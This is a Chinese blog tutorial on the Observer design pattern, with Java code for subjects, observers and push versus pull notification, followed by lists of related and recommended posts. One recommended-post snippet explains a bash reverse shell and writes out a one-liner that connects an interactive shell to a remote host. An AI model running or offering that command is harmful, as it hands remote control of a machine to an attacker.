设计模式九: 观察者模式(Observer Pattern)
简介
观察者属于行为型模式的一种, 又叫发布-订阅模式. 如果一个对象的状态发生改变,依赖他的对象都将发生变化, 那么这种情况就适合使用观察者模式.
它包含两个术语,主题(Subject),观察者(Observer), 主题管理一个观察者的列表, 并在状态发生变化时通知到他们.
实现层面上, 主题定义了一个观察者列表并可以管理这个列表(将观察者注册进去和撤销注册的行为), 同时定义了通知到所有观察者的行为.
Java类库有默认的观察者实现类Observer. 使用观察者模式的还有事件监听, RxJava等.
意图
定义对象之间的一对多依赖,当一个对象状态改变时,它的所有依赖都会收到通知并且自动更新状态。
类图

实现
一. 定义抽象观察者
/**
* 观察者抽象角色
*/
public interface MyObserver {
void update(Subject subject);
}
二. 定义抽象主题
/**
* 主题抽象角色
*/
public abstract class Subject {
private ArrayList<MyObserver> list = new ArrayList<MyObserver>();
public Subject register(MyObserver observer){
if(!list.contains(observer)){
list.add(observer);
}
return this;
}
public Subject unRegister(MyObserver observer){
if(list.contains(observer)){
list.remove(observer);
}
return this;
}
public final void notifyObservers(){
for (MyObserver item:list) {
item.update(this);
}
}
/**
* 具体状态的变更
*/
abstract void change();
}
三. 定义具体主题
/**
* 具体主题角色
*/
@Data
public class ConcreteSubject extends Subject {
private String name;
public void change() {
this.setName("王多鱼");
super.notifyObservers();
}
}
四. 定义观察者的实现, 分别定义两个不同实现
public class UncleObserver implements MyObserver {
public void update(Subject subject) {
ConcreteSubject concreteSubject = (ConcreteSubject)subject;
System.out.println("UncleObserver 知道了: "+concreteSubject.getName());
}
}
public class HentaiObserver implements MyObserver {
public void update(Subject subject) {
ConcreteSubject concreteSubject = (ConcreteSubject)subject;
System.out.println("HentaiObserver 知道了: "+concreteSubject.getName());
}
}
五. 调用, 首先注册观察者,然后调用主题的变更方法
// 实例化主题后为其注册了两个观察者的实例, 并最终调用主题的变更方法触发通知行为
public static void main(String[] args) {
new ConcreteSubject()
.register(new UncleObserver())
.register(new HentaiObserver())
.change();
}
总结
关键点: 定义通知到观察者的方法要注意, 如果有耗时严重的会阻塞其他观察者得到通知, 可以异步多线程实现; 避免循环引用;
观察者分推模式和拉模式, 推模式是指将主题的变更信息发送给观察者, 观察者可以用, 也可以不用. 拉模式则是将主题的引用发送给观察者, 观察者通过引用根据自己需要获取所需信息. 示例中使用的就是这种模式.
代码修改为推模式
// 观察者的方法接收具体信息
void update(String name);
// 主题的通知方法做相应修改
public final void notifyObservers(){
for (MyObserver item:list) {
item.update("王多鱼");
}
}
设计模式九: 观察者模式(Observer Pattern)的更多相关文章
- 乐在其中设计模式(C#) - 观察者模式(Observer Pattern)
原文:乐在其中设计模式(C#) - 观察者模式(Observer Pattern) [索引页][源码下载] 乐在其中设计模式(C#) - 观察者模式(Observer Pattern) 作者:weba ...
- 二十四种设计模式:观察者模式(Observer Pattern)
观察者模式(Observer Pattern) 介绍定义对象间的一种一对多的依赖关系,以便当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并自动刷新. 示例有一个Message实体类,某些对象 ...
- [设计模式] 19 观察者模式 Observer Pattern
在GOF的<设计模式:可复用面向对象软件的基础>一书中对观察者模式是这样说的:定义对象间的一种一对多的依赖关系,当一个对象的状态发生改变时,所有依赖于它的对象都得到通知并被自动更新.当一个 ...
- c#设计模式之观察者模式(Observer Pattern)
场景出发 一个月高风黑的晚上,突然传来了尖锐的猫叫,宁静被彻底打破,狗开始吠了,大人醒了,婴儿哭了,小偷跑了 这个过程,如果用面向对象语言来描述,简单莫过于下: public class Cat { ...
- 设计模式之观察者模式(Observer pattern)
最近参加了一次面试,其中笔试题有一道编程题,在更换掉试题的描述场景后,大意如下: 上课铃声响起,学生A/B/C/D进入教室:下课铃声响起,学生A/B/C/D离开教室. 要求使用设计模式的思想完成铃与学 ...
- 【设计模式】观察者模式 Observer Pattern
定义:观察者模式定义了对象之间的一对多依赖.当“主题”(Object)状态改变事,所有依赖它的“观察者”(Observer)都会受到通知并自动更新.主题支持观察者订阅和退订. 观察者模式提供了一种对象 ...
- 【UE4 设计模式】观察者模式 Observer Pattern
概述 描述 定义对象间的一种一对多依赖关系,使得每当一个对象状态发生改变时,其相关依赖对象皆得到通知并被自动更新.观察者模式又叫做 发布-订阅(Publish/Subscribe)模式 模型-视图(M ...
- 设计模式-观察者模式(Observer Pattern)
观察者模式(Observer Pattern):定义了一种一对多的依赖关系,让多个观察者对象同时监听某一个主题对象.这个主题对象在状态发生变化时,会通知所有观察者对象,使他们能够自动更新自己. 观察者 ...
- 设计模式 - 观察者模式(Observer Pattern) 详细说明
观察者模式(Observer Pattern) 详细说明 本文地址: http://blog.csdn.net/caroline_wendy/article/details/26583157 版权全部 ...
随机推荐
- springBoot集成redisCluster
本文主要内容:springBoot简介,在SpringBoot中如何集成Redis,可配置Redis集群. 关于SpringBoot 你想要的,这里都有:https://spring.io/proje ...
- 基于 HTML5 WebGL 的 3D 工控裙房系统
前言 工业物联网在中国的发展如火如荼,网络基础设施建设,以及工业升级的迫切需要都为工业物联网发展提供了很大的机遇.中国工业物联网企业目前呈现两种发展形式并存状况:一方面是大型通讯.IT企业的布局:一方 ...
- webpack4配置详解之新手上路初探
前言 经常会有群友问起webpack.react.redux.甚至create-react-app配置等等方面的问题,有些是我也不懂的,慢慢从大家的相互交流中,也学到了不少. 今天就尝试着一起来聊 ...
- Entity Framework Core系列之实战(ASP.NET Core MVC应用程序)
本示例演示在ASP.NET 应用程序中使用EF CORE创建数据库并对其做基本的增删改查操作.当然我们默认你的机器上已经安装了.NET CORE SDK以及合适的IDE.本例使用的是Visual St ...
- 微信小程序手机预览请求不到数据(最后一条不明所以)
本地开发调试小程序时,用手机预览需要有如下设置:1.微信开发者工具中设置:不校验安全域名.web-view 域名.TLS 版本以及 HTTPS 证书.这样在有网络请求的时候,就可以访问本地的服务器了, ...
- vue报错Error in render: "TypeError: Cannot read property '0' of undefined"
通常有两种情况: 1.在模板的html标签上使用length报错 vue 中使用 length判断的时候,有时会报错,如下: <div class="item_list" v ...
- POJ1094 Sorting It All Out LUOGU 排序
Sorting It All Out Time Limit: 1000MS Memory Limit: 10000K Total Submissions: 40012 Accepted ...
- shell反射
一.介绍 bash反射就是反弹一个交互的shell,类似ssh连接,可以执行命令 二.使用命令 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 ...
- golang数据类型与转换
一.数值型int(默认值 0) int 整数 32位系统占4个字节(-2^31~2^31-1).64位系统占8个字节(-2^63~2^63-1)uint 32位系统占4个字节(0~2^32-1).64 ...
- nginx(二)nginx的安装
下载 nginx官网下载地址 把源码解压缩之后,在终端里运行如下命令: ./configure make make install 默认情况下,Nginx 会被安装在 /usr/local/nginx ...